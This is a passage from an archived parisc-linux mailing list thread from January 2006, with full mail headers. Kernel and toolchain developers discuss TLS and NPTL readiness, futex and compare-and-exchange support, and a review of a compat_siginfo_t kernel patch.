> I'm going to run the NPTL build and see how the tests turn out.
> 
> Anyone remember what the next step was?

I think the gcc stuff is all merged upstream already.

binutils stuff needs to be merged upstream. Perhaps we should look at
those elf related failures first.

I don't think we are ready for NPTL yet. Did we settle on how we are
implementing futexes? Are we going to implement a new kernel fsyscall
for the compare-and-exchange primitive that NPTL seems to depend on?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Update] TLS toolchain.
Date: Tue, 10 Jan 2006 09:47:06 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200601101447.k0AEl7fP003814@hiauly1.hia.nrc.ca>
References: <43C36337.9040202@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623988 17883 80.91.229.3 (22 Nov 2014 02:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:48 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 14:47:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 10 Jan 2006 15:47:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E269F7D722;
	Tue, 10 Jan 2006 07:47:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10668-05; Tue, 10 Jan 2006 07:47:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 471627D724;
	Tue, 10 Jan 2006 07:47:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EC247D720
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 07:47:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10436-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 07:47:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DF0897D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 07:47:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0AEl7il003816; Tue, 10 Jan 2006 09:47:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0AEl7fP003814;
	Tue, 10 Jan 2006 09:47:07 -0500 (EST)
In-Reply-To: <43C36337.9040202@tausq.org> from "Randolph Chung" at Jan 10,
	2006 03:33:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oK2xY8p7eSEkNb6WZHQhaXN1IGRvb4Ac
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23364

> I don't think we are ready for NPTL yet. Did we settle on how we are
> implementing futexes? Are we going to implement a new kernel fsyscall
> for the compare-and-exchange primitive that NPTL seems to depend on?

Regarding atomic, I suggest looking at
http://www.hpl.hp.com/research/linux/atomic_ops and
http://www.hpl.hp.com/techreports/2005/HPL-2005-217.html.

I haven't had a chance to look at it but this work is part of a study
being done to add thread support to C++.  This came up when I added a
userspace implementation of CAS to java.  Apparently, gc7alpha versions
are using this code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Update] TLS toolchain.
Date: Tue, 10 Jan 2006 10:00:57 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20060110150057.GD28306@quicksilver.road.mcmartin.ca>
References: <20060108055109.GE17559@baldric.uwo.ca>
	<43C36337.9040202@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623988 17890 80.91.229.3 (22 Nov 2014 02:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:48 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 15:02:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 10 Jan 2006 16:02:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B2C47D728;
	Tue, 10 Jan 2006 08:02:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11064-04; Tue, 10 Jan 2006 08:02:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC6A7D72C;
	Tue, 10 Jan 2006 08:02:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC2027D722
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11039-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:08 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 54B927D720
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:08 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3F94A23FDD;
	Tue, 10 Jan 2006 10:01:41 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23492-06; Tue, 10 Jan 2006 10:01:41 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (unknown [134.117.69.181])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 043A323FD9;
	Tue, 10 Jan 2006 10:01:41 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 071B33B05D; Tue, 10 Jan 2006 10:00:58 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <43C36337.9040202@tausq.org>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K6mxY3okeSEkfb6WZHQhaXN1IGRvb8As
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23365

On Tue, Jan 10, 2006 at 03:33:11PM +0800, Randolph Chung wrote:
> I don't think we are ready for NPTL yet. Did we settle on how we are
> implementing futexes? Are we going to implement a new kernel fsyscall
> for the compare-and-exchange primitive that NPTL seems to depend on?
>

Has any thought been given to doing this via a VDSO or something that
the kernel links in? Excuse my ignorance, but this seems like a good
way to work around kernel version dependancy using straight LWS would
result in (I believe?).

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 1/5] Add generic compat_siginfo_t
Date: Tue, 10 Jan 2006 10:01:41 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20060110150141.GE28306__38109.2487172738$1416623988$gmane$org@quicksilver.road.mcmartin.ca>
References: <20060108193755.GH3782@tachyon.int.mcmartin.ca>
	<20060109141355.GA22296@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623989 17894 80.91.229.3 (22 Nov 2014 02:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:49 +0000 (UTC)
Cc: akpm@osdl.org,
 willy@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org,
 linux-kernel@vger.kernel.org,
 carlos@parisc-linux.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 15:02:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 10 Jan 2006 16:02:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A06907D733;
	Tue, 10 Jan 2006 08:02:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11261-02; Tue, 10 Jan 2006 08:02:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 920F67D73C;
	Tue, 10 Jan 2006 08:02:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 331817D732
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11226-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:30 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 8F1727D731
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:02:30 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id E517823FDB;
	Tue, 10 Jan 2006 10:02:24 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23567-05; Tue, 10 Jan 2006 10:02:24 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (unknown [134.117.69.181])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 9A07323FD9;
	Tue, 10 Jan 2006 10:02:24 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 82A283B05D; Tue, 10 Jan 2006 10:01:41 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060109141355.GA22296@lst.de>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2amxY+NFeSEkNL6WZHQhaXN1IGRvbwDD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23366

On Mon, Jan 09, 2006 at 03:13:55PM +0100, Christoph Hellwig wrote:
> -mm already has a much better implementation for compat_sys_timer_create
> that doesn't require all the sigevent churn in this patch (which btw
> doesn't seem to be mentioned in the changelog at all).  

Ok, I see it in -mm now, and it does seem to be nicer code, I'll
try it out on parisc64.

> But even with
> that remove there seems to be a lot of useless ifdef and indirection
> in this patch.  

I agree, I'm really just trying to shepard this home so we don't have
to maintain it out of tree. I'm not overly attached to the code, if
I can make parisc64 work with your compat signal bits, I'll be
just as happy.

The one thing from this patchset I'd like to keep is the is_compat_task()
as it does provide nice cleanups 

Cheers, Kyle

> Over the next days I'll send out my generic compat
> singal bits which don't require all this, but otoh require every
> architecture to supply helpers.  If you can make those generic without
> all the ifdef an additional header bits all power to you!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 1/5] Add generic compat_siginfo_t
Date: Tue, 10 Jan 2006 16:15:47 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20060110151547.GB17621__39728.8463580937$1416623989$gmane$org@lst.de>
References: <20060108193755.GH3782@tachyon.int.mcmartin.ca>
	<20060109141355.GA22296@lst.de>
	<20060110150141.GE28306@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623989 17896 80.91.229.3 (22 Nov 2014 02:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:49 +0000 (UTC)
Cc: akpm@osdl.org,
 linux-kernel@vger.kernel.org,
 willy@parisc-linux.org,
 carlos@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 15:15:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 10 Jan 2006 16:15:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7AA47D6AC;
	Tue, 10 Jan 2006 08:15:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11325-04; Tue, 10 Jan 2006 08:15:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC657D684;
	Tue, 10 Jan 2006 08:15:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 949837D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:15:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11325-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:15:50 -0700 (MST)
Original-Received: from mail.lst.de (verein.lst.de [213.95.11.210])
	by free.linux.hp.com (Postfix) with ESMTP id B878C7D673
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 08:15:49 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id k0AFFm6t017671
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Tue, 10 Jan 2006 16:15:48 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id k0AFFlNF017669;
	Tue, 10 Jan 2006 16:15:47 +0100
Content-Disposition: inline
In-Reply-To: <20060110150141.GE28306@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.901 () BAYES_00
X-Scanned-By: MIMEDefang 2.39
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +aqxYxEqeSEkIL6WZHQhaXN1IGRvb0B3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23367

On Tue, Jan 10, 2006 at 10:01:41AM -0500, Kyle McMartin wrote:
> I agree, I'm really just trying to shepard this home so we don't have
> to maintain it out of tree. I'm not overly attached to the code, if
> I can make parisc64 work with your compat signal bits, I'll be
> just as happy.
> 
> The one thing from this patchset I'd like to keep is the is_compat_task()
> as it does provide nice cleanups 

Yes, the is_compat_task helper is a nice thing to have.  I haven't
needed it for the signal bits I've done yet, but it's also useful
elsewhere.  But IIRC someone vehemently opposed it in the last round
of discussion.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 1/5] Add generic compat_siginfo_t
Date: Tue, 10 Jan 2006 09:39:43 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20060110163943.GY19769__38986.4748147831$1416623989$gmane$org@parisc-linux.org>
References: <20060108193755.GH3782@tachyon.int.mcmartin.ca>
	<20060109141355.GA22296@lst.de>
	<20060110150141.GE28306@quicksilver.road.mcmartin.ca>
	<20060110151547.GB17621@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623989 17897 80.91.229.3 (22 Nov 2014 02:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:49 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org,
 linux-kernel@vger.kernel.org,
 carlos@parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 16:39:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 10 Jan 2006 17:39:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A7BA7D729;
	Tue, 10 Jan 2006 09:39:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11779-05; Tue, 10 Jan 2006 09:39:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E8127D71C;
	Tue, 10 Jan 2006 09:39:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D2EE7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 09:39:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11779-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 09:39:42 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7E7617D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Jan 2006 09:39:42 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 58917494006; Tue, 10 Jan 2006 09:39:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060110151547.GB17621@lst.de>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DIaxY1I5eSEkQ76WZHQhaXN1IGRvb0Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23368

On Tue, Jan 10, 2006 at 04:15:47PM +0100, Christoph Hellwig wrote:
> Yes, the is_compat_task helper is a nice thing to have.  I haven't
> needed it for the signal bits I've done yet, but it's also useful
> elsewhere.  But IIRC someone vehemently opposed it in the last round
> of discussion.

Andi's now dropped his opposition, so I think we're fine.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
